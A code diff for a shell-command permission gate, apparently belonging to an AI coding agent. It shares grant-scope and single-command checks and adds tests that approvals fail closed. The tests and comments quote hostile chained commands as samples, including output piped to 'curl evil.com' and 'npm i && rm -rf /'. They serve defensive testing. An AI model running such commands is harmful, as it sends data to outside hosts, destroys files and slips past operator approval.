Share one predicate between isSingleShellCommand and shellApprovalScopes

src/permission/authz-grants.ts

@@ -61,6 +61,26 @@ export function cwdMatchesGrant(
   return workspace.roots.includes(realpathOr(requestCwd));
 }
 
+// The single place that decides whether a grant's tool/providerModel/cwd
+// scope covers a request, independent of whether the grant's pattern matches
+// the request's subject. Every live call site that needs to know "does this
+// grant cover this request's scope" — evaluateApprovals, isRequestCoveredByGrant,
+// hasExactFullCommandGrant — delegates here so a scoping-dimension change
+// never has to be made in more than one place.
+export function grantScopeMatches(
+  approval: Approval,
+  tool: string,
+  activeProviderModel: string | undefined,
+  requestCwd: string | undefined,
+  workspace: GrantWorkspace,
+): boolean {
+  return (
+    approval.tool === tool &&
+    (approval.providerModel === undefined || approval.providerModel === activeProviderModel) &&
+    cwdMatchesGrant(approval.cwd, requestCwd, workspace)
+  );
+}
+
 export type EvaluateApprovalsInput = {
   tool: string;
   subject: string;
@@ -70,19 +90,14 @@ export type EvaluateApprovalsInput = {
   workspace: GrantWorkspace;
 };
 
-// Grant-store evaluation via @intx/authz. Filters provider-model and cwd the
-// same way isApproved does, then asks evaluateGrants for the highest-specificity
+// Grant-store evaluation via @intx/authz. Filters provider-model and cwd via
+// grantScopeMatches, then asks evaluateGrants for the highest-specificity
 // allow among package-compatible grants. Exact-escaped grants are checked with
 // matchesPattern (equality after unescape) first so a stored exact command is
 // never lost.
 export async function evaluateApprovals(input: EvaluateApprovalsInput): Promise<boolean> {
   const { tool, subject, approvals, activeProviderModel, requestCwd, workspace } = input;
-  const scoped = approvals.filter(
-    (a) =>
-      a.tool === tool &&
-      (a.providerModel === undefined || a.providerModel === activeProviderModel) &&
-      cwdMatchesGrant(a.cwd, requestCwd, workspace),
-  );
+  const scoped = approvals.filter((a) => grantScopeMatches(a, tool, activeProviderModel, requestCwd, workspace));
   if (scoped.length === 0) return false;
 
   for (const a of scoped) {

src/permission/classify.ts

@@ -384,12 +384,29 @@ export const MEGA_CHAIN_SEGMENT_THRESHOLD = 5;
 export const MEGA_CHAIN_NOTICE =
   `Chains of ${MEGA_CHAIN_SEGMENT_THRESHOLD}+ steps are approved once only — split into shorter commands for reusable approvals.`;
 
+// The real (non-comment-only) chain segments of a shell command — the basis
+// both shellApprovalScopes and isSingleShellCommand use to answer "is this
+// one command or a chain."
+function realShellSegments(command: string): string[] {
+  return splitChainedCommand(command).filter((segment) => !isShellCommentOnly(segment));
+}
+
+// Whether `command` is exactly one real command — not a chain (`a && b`), not
+// a pipeline (`a | b`), not empty/comment-only. Shared by preApprove's gate
+// (src/permission/gate.ts) and the interactive scope ladder below, so a
+// segmenting-rule change here reaches both.
+export function isSingleShellCommand(command: string): boolean {
+  const segments = realShellSegments(command);
+  if (segments.length !== 1) return false;
+  return tokenize(segments[0]!).length > 0;
+}
+
 // Approval scopes for a shell command the operator may persist. Multi-segment
 // chains only offer the exact full string — a prefix like `npm *` would also
 // match `npm i && rm -rf /` on a later call (fail-closed). At or above
 // MEGA_CHAIN_SEGMENT_THRESHOLD, no scope is offered at all — see the constant.
 function shellApprovalScopes(command: string): ApprovalScope[] {
-  const segments = splitChainedCommand(command).filter((segment) => !isShellCommentOnly(segment));
+  const segments = realShellSegments(command);
   if (segments.length === 0) return [];
   if (segments.length >= MEGA_CHAIN_SEGMENT_THRESHOLD) return [];
   if (segments.length === 1) {

src/permission/gate.ts

@@ -6,6 +6,7 @@ import {
   buildRequests,
   isAutoAllowedShellCall,
   isAutoAllowedShellSegment,
+  isSingleShellCommand,
   callTargetsRestricted,
   commandTargetsRestricted,
   MEGA_CHAIN_SEGMENT_THRESHOLD,
@@ -14,7 +15,7 @@ import { autoShellRuleForCall } from "./auto-shell-policy.js";
 import { commandReferencesSensitivePath } from "../plugins/secret-guard-plugin.js";
 import { runShellAuthzBlockReason } from "../shell/run-shell-authz.js";
 import { matchesPattern, escapeGlobLiteral } from "./matcher.js";
-import { evaluateApprovals, cwdMatchesGrant, type GrantWorkspace } from "./authz-grants.js";
+import { evaluateApprovals, grantScopeMatches, type GrantWorkspace } from "./authz-grants.js";
 import { splitChainedCommand, tokenize, isShellCommentOnly, stripCommentLines } from "./command.js";
 import { createPathRestriction } from "./path-restriction.js";
 import { createWorktreeRootsProvider, type RootsProvider } from "./worktree-roots.js";
@@ -30,17 +31,6 @@ import { currentTurnId } from "../perf/reactor-spans.js";
 
 export type GateVerdict = { allowed: true } | { allowed: false; reason: string };
 
-// A run_shell pre-approval must name exactly one real command — not a chain
-// (`a && b`), not a pipeline (`a | b`), not an empty or whitespace-only string.
-// Rejecting anything else here keeps ask_operator's `command` argument from
-// minting a grant broader than the single command the operator actually saw.
-function isSingleShellCommand(command: string): boolean {
-  const trimmed = command.trim();
-  if (trimmed.length === 0) return false;
-  if (splitChainedCommand(trimmed).length !== 1) return false;
-  return tokenize(trimmed).length > 0;
-}
-
 // Multi-segment shell may only short-circuit on an exact full-command grant.
 // Prefix globs like `npm *` must not match `npm i && curl x` — the unapproved
 // tail still needs a full-block operator decision. String equality (not glob)
@@ -59,11 +49,7 @@ function hasExactFullCommandGrant(
   // storing a run_shell pattern).
   const normalized = stripCommentLines(fullCommand).trim();
   return approvals.some(
-    (a) =>
-      a.tool === tool &&
-      a.pattern === normalized &&
-      (a.providerModel === undefined || a.providerModel === activeProviderModel) &&
-      cwdMatchesGrant(a.cwd, requestCwd, workspace),
+    (a) => a.pattern === normalized && grantScopeMatches(a, tool, activeProviderModel, requestCwd, workspace),
   );
 }
 
@@ -145,14 +131,7 @@ export function isRequestCoveredByGrant(
   isRestricted: (path: string, isWrite: boolean) => boolean,
   workspace: GrantWorkspace,
 ): boolean {
-  if (request.tool !== approval.tool) return false;
-  if (!cwdMatchesGrant(approval.cwd, request.cwd, workspace)) return false;
-  if (
-    approval.providerModel !== undefined &&
-    approval.providerModel !== activeProviderModel
-  ) {
-    return false;
-  }
+  if (!grantScopeMatches(approval, request.tool, activeProviderModel, request.cwd, workspace)) return false;
   if (request.tool !== "run_shell") {
     return matchesPattern(request.subject, approval.pattern);
   }

src/permission/grant-scope.test.ts

@@ -0,0 +1,117 @@
+import { describe, test, expect } from "bun:test";
+import type { ToolCall } from "@intx/types/runtime";
+import type { Approval, PermissionRequest } from "./types.js";
+import { evaluateApprovals, grantScopeMatches, type GrantWorkspace } from "./authz-grants.js";
+import { createPermissionGate, isRequestCoveredByGrant } from "./gate.js";
+
+// evaluateApprovals and isRequestCoveredByGrant each decide, independently,
+// whether a grant's tool/providerModel/cwd scope covers a request. Both are
+// expected to delegate to the same shared predicate (grantScopeMatches)
+// rather than reimplementing the condition. This test drives the same
+// grant+request pairs through all three and asserts they agree — a
+// regression where one call site reimplements the check with subtly
+// different semantics would fail here even if each function still "looks
+// right" in isolation.
+describe("grant tool/providerModel/cwd scoping agrees across call sites", () => {
+  const workspace: GrantWorkspace = { resolvedCwd: "/proj", roots: ["/proj"] };
+  const noopRestricted = () => false;
+
+  const grants: Approval[] = [
+    { tool: "run_shell", pattern: "npm test" },
+    { tool: "run_shell", pattern: "npm test", providerModel: "openai:gpt-5" },
+    { tool: "run_shell", pattern: "npm test", cwd: "/proj" },
+    { tool: "write_file", pattern: "npm test" },
+  ];
+
+  const requests: Array<{ tool: string; cwd?: string | undefined; activeProviderModel?: string | undefined }> = [
+    { tool: "run_shell", cwd: "/proj", activeProviderModel: "openai:gpt-5" },
+    { tool: "run_shell", cwd: "/proj", activeProviderModel: "anthropic:opus" },
+    { tool: "run_shell", cwd: "/other", activeProviderModel: "openai:gpt-5" },
+    { tool: "run_shell", cwd: undefined, activeProviderModel: undefined },
+    { tool: "write_file", cwd: "/proj", activeProviderModel: undefined },
+  ];
+
+  for (const grant of grants) {
+    for (const req of requests) {
+      test(`grant ${JSON.stringify(grant)} vs request ${JSON.stringify(req)}`, async () => {
+        const expected = grantScopeMatches(grant, req.tool, req.activeProviderModel, req.cwd, workspace);
+
+        const viaEvaluateApprovals = await evaluateApprovals({
+          tool: req.tool,
+          subject: "npm test",
+          approvals: [grant],
+          activeProviderModel: req.activeProviderModel,
+          requestCwd: req.cwd,
+          workspace,
+        });
+
+        const request: PermissionRequest = {
+          tool: req.tool,
+          action: req.tool,
+          subject: "npm test",
+          scopes: [],
+          ...(req.cwd !== undefined ? { cwd: req.cwd } : {}),
+        };
+        const viaGate = isRequestCoveredByGrant(request, grant, req.activeProviderModel, noopRestricted, workspace);
+
+        // Both live call sites additionally require the pattern to match the
+        // subject, which is true for every case here ("npm test" grants an
+        // exact "npm test" subject), so a scope mismatch is the only thing
+        // that can make either disagree with the shared predicate.
+        expect(viaEvaluateApprovals).toBe(expected);
+        expect(viaGate).toBe(expected);
+      });
+    }
+  }
+});
+
+// hasExactFullCommandGrant (gate.ts) is the third live call site grantScopeMatches
+// unifies, but it is not exported — it only surfaces through the exact-full-command
+// replay path inside evaluate(). This drives that path directly with grants that
+// grantScopeMatches would refuse (wrong cwd, wrong providerModel) to confirm the
+// replay never fires when the shared predicate says no, matching the coverage the
+// other two call sites get above.
+describe("hasExactFullCommandGrant agrees with grantScopeMatches", () => {
+  const full = "npm i && curl x";
+  const shellCall = (command: string): ToolCall => ({ id: "c", name: "run_shell", arguments: { command } });
+
+  test("does not replay a grant scoped to a different cwd", async () => {
+    let asked = 0;
+    const gate = createPermissionGate({
+      approvals: [{ tool: "run_shell", pattern: full, cwd: "/other-project" }],
+      requestApproval: async () => { asked++; return { allow: true }; },
+      interactive: true,
+      skipPermissions: false,
+    });
+    expect((await gate.evaluate(shellCall(full))).allowed).toBe(true);
+    // grantScopeMatches would refuse this grant (cwd mismatch), so the
+    // exact-full-command shortcut must not fire — the operator is still asked.
+    expect(asked).toBeGreaterThan(0);
+  });
+
+  test("does not replay a grant scoped to a different provider model", async () => {
+    let asked = 0;
+    const gate = createPermissionGate({
+      approvals: [{ tool: "run_shell", pattern: full, providerModel: "openai:gpt-5" }],
+      providerName: "anthropic",
+      model: "opus",
+      requestApproval: async () => { asked++; return { allow: true }; },
+      interactive: true,
+      skipPermissions: false,
+    });
+    expect((await gate.evaluate(shellCall(full))).allowed).toBe(true);
+    expect(asked).toBeGreaterThan(0);
+  });
+
+  test("replays a grant whose scope grantScopeMatches accepts", async () => {
+    let asked = 0;
+    const gate = createPermissionGate({
+      approvals: [{ tool: "run_shell", pattern: full }],
+      requestApproval: async () => { asked++; return { allow: true }; },
+      interactive: true,
+      skipPermissions: false,
+    });
+    expect((await gate.evaluate(shellCall(full))).allowed).toBe(true);
+    expect(asked).toBe(0);
+  });
+});

src/permission/matcher.ts

@@ -1,7 +1,5 @@
 import { matchPattern } from "@intx/authz";
 
-import type { Approval } from "./types.js";
-
 // Exact-command grants (see escapeGlobLiteral) store a backslash before every
 // glob metacharacter so a command like `rm -rf build/*` never becomes the
 // wildcard `rm -rf build/*`. @intx/authz's matchPattern has no escape syntax —
@@ -38,25 +36,3 @@ export function matchesPattern(subject: string, pattern: string): boolean {
   }
   return matchPattern(pattern, subject);
 }
-
-// True when any stored approval for this tool matches the subject. The subject
-// is the shell command segment (run_shell) or the file path (write/edit). An
-// approval bound to a `providerModel` only matches when `activeProviderModel`
-// equals it, so a grant scoped to one model never leaks to another. An
-// approval bound to a `cwd` (project-scoped) only matches when `requestCwd`
-// equals it, so a project grant from one repo never leaks into another.
-export function isApproved(
-  tool: string,
-  subject: string,
-  approvals: readonly Approval[],
-  activeProviderModel?: string,
-  requestCwd?: string,
-): boolean {
-  return approvals.some(
-    (a) =>
-      a.tool === tool &&
-      matchesPattern(subject, a.pattern) &&
-      (a.providerModel === undefined || a.providerModel === activeProviderModel) &&
-      (a.cwd === undefined || a.cwd === requestCwd),
-  );
-}

src/permission/permission.test.ts

@@ -12,9 +12,9 @@ import {
   isShellNoOp,
   stripCommentLines,
 } from "./command.js";
-import { matchesPattern, isApproved, escapeGlobLiteral } from "./matcher.js";
+import { matchesPattern, escapeGlobLiteral } from "./matcher.js";
 import { evaluateApprovals } from "./authz-grants.js";
-import { classifyTool, buildRequests, isAutoAllowedShellCall } from "./classify.js";
+import { classifyTool, buildRequests, isAutoAllowedShellCall, isSingleShellCommand } from "./classify.js";
 import { createPermissionGate } from "./gate.js";
 import { createMcpToolPermissionRegistry, registerMcpClientTools } from "../mcp/tool-permissions.js";
 import { listWorktreeRoots, createWorktreeRootsProvider } from "./worktree-roots.js";
@@ -241,19 +241,6 @@ describe("matchesPattern (@intx/authz + exact escapes)", () => {
   });
 });
 
-describe("isApproved", () => {
-  const approvals: Approval[] = [
-    { tool: "run_shell", pattern: "npm *" },
-    { tool: "write_file", pattern: "src/*" },
-  ];
-  test("matches by tool and pattern", () => {
-    expect(isApproved("run_shell", "npm test", approvals)).toBe(true);
-    expect(isApproved("run_shell", "curl x", approvals)).toBe(false);
-    expect(isApproved("write_file", "src/a.ts", approvals)).toBe(true);
-    expect(isApproved("write_file", "lib/a.ts", approvals)).toBe(false);
-  });
-});
-
 describe("evaluateApprovals (@intx/authz evaluateGrants)", () => {
   const approvals: Approval[] = [
     { tool: "run_shell", pattern: "npm *" },
@@ -1884,13 +1871,6 @@ describe("scoped grants", () => {
     expect(routed[0]).toEqual({ tool: "run_shell", pattern: "npm *", providerModel: "openai:gpt-5" });
   });
 
-  test("a provider-model approval does not auto-allow under a different model", () => {
-    const approvals: Approval[] = [{ tool: "run_shell", pattern: "npm *", providerModel: "openai:gpt-5" }];
-    expect(isApproved("run_shell", "npm test", approvals, "openai:gpt-5")).toBe(true);
-    expect(isApproved("run_shell", "npm test", approvals, "anthropic:opus")).toBe(false);
-    expect(isApproved("run_shell", "npm test", approvals, undefined)).toBe(false);
-  });
-
   test("a seeded provider-model approval auto-allows when the gate's model matches", async () => {
     let asked = 0;
     const gate = createPermissionGate({
@@ -2021,6 +2001,50 @@ describe("preApprove", () => {
     expect((await gate.evaluate(shellCall("npm test | curl evil.com"))).allowed).toBe(true);
     expect(asked).toBe(1);
   });
+
+  test("agrees with the interactive scope ladder on whether a comment-trailing command is single", async () => {
+    // "echo hi && # why" has one real segment once the trailing comment is
+    // filtered out. The interactive scope ladder (buildRequests/shellApprovalScopes)
+    // already filters comment-only segments before counting, so it offers the
+    // full per-command ladder (prefix + exact) as if this were one command.
+    // preApprove's gate must reach the same verdict, since both answer the
+    // same underlying "is this a single shell command" question.
+    const command = "echo hi && # why";
+
+    const gate = createPermissionGate({
+      approvals: [],
+      requestApproval: async () => ({ allow: true }),
+      interactive: true,
+      skipPermissions: false,
+    });
+    gate.preApprove("run_shell", command);
+    const preApproveTreatsAsSingle = gate.getSessionApprovals().length === 1;
+
+    const requests = buildRequests(shellCall(command));
+    const scopeLadderTreatsAsSingle = requests[0]!.scopes.length > 1;
+
+    expect(preApproveTreatsAsSingle).toBe(scopeLadderTreatsAsSingle);
+  });
+
+  test("isSingleShellCommand narrows a pure-comment command to false", () => {
+    // Before the shared realShellSegments predicate, gate.ts's own
+    // isSingleShellCommand did not filter comment-only segments, so a
+    // pure-comment "command" like "# just a comment" counted as one real
+    // segment and was treated as single. The shared predicate filters it
+    // out, leaving zero segments, so this must now be false.
+    expect(isSingleShellCommand("# just a comment")).toBe(false);
+  });
+
+  test("isSingleShellCommand treats a leading-comment-then-chain as its trailing real segment", () => {
+    // splitChainedCommand splits on "&&" before recognizing that "#" extends
+    // a comment to end of line, so "# a && b" splits into ["# a", "b"] even
+    // though a real shell treats the whole line as one comment (nothing
+    // after "#" ever runs). Filtering the comment-only "# a" segment leaves
+    // exactly one real segment, "b", so this is scored as a single command —
+    // matching shellApprovalScopes' existing behavior, not a regression
+    // introduced here.
+    expect(isSingleShellCommand("# a && b")).toBe(true);
+  });
 });
 
 describe("isAutoAllowedShellCall", () => {